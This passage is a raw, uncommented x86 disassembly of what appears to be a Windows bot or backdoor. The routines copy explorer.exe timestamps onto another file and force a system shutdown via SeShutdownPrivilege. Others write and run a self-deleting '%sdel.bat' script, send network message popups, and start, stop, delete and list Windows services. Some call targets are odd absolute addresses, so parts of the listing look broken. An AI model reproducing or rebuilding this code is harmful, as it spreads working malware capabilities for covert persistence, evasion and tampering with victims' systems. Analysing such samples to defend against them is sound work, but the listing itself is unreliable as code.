		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB060
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 27E0000h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 27D065Eh
		push	esi
		call	ebx

loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEE4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB074, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx

loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 26901D0h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F097Dh
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 26E0000h
		push	edi
		nop
		call	near ptr 2650939h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D158
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2680765h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		call	near ptr 268067Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 26804F4h

loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 27F0000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2650C30h

loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26C061Bh
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAF24
		push	edi
		push	eax
		call	dword_4CAF34
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_4389BC

loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------

loc_418569:				; CODE XREF: sub_4184E1+57j
		call	near ptr 2670D55h
		nop
		push	eax
		push	offset unk_438994
		jmp	short loc_418542
; ---------------------------------------------------------------------------

loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_438964
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26C061Bh
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA

loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26A0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26A02C3h
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 2770000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	near ptr 2680F34h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389E0[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389DC[esi]
		push	offset unk_438AF0

loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DB020
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------

loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438AC4
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------

loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB020
		push	off_4389D8[eax*4]
		push	offset unk_438AA0
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF98
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2670D55h
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------

loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE80
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		nop
		call	near ptr 2670D55h
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------

loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEEC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE88
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEF0

loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 2670D55h
		mov	ebx, eax

loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE9C

loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE9C
		pop	esi

loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump

loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA960
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------

loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA960
		call	sub_41B886
		add	esp, 0Ch

loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA960
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF64
		test	eax, eax
		jnz	short loc_4189CD
		call	near ptr 2670D55h
		nop
		cmp	eax, 0EAh
		jnz	loc_418A81

loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]

loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"

loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE

loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993

loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE9C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------

loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax

loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DAC1C
		push	off_4389D8[eax*4]
		push	offset unk_439084
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch

loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8

loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DAC1C
		push	off_4389DC[eax*4]
		push	offset dword_439068
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DAC1C
		lea	eax, [eax+eax*2]
		push	off_4389D8[eax*4]
		push	offset unk_439044
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DAE1C, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DAE1C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DABBC, eax

loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DABBC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DABBC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE98
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
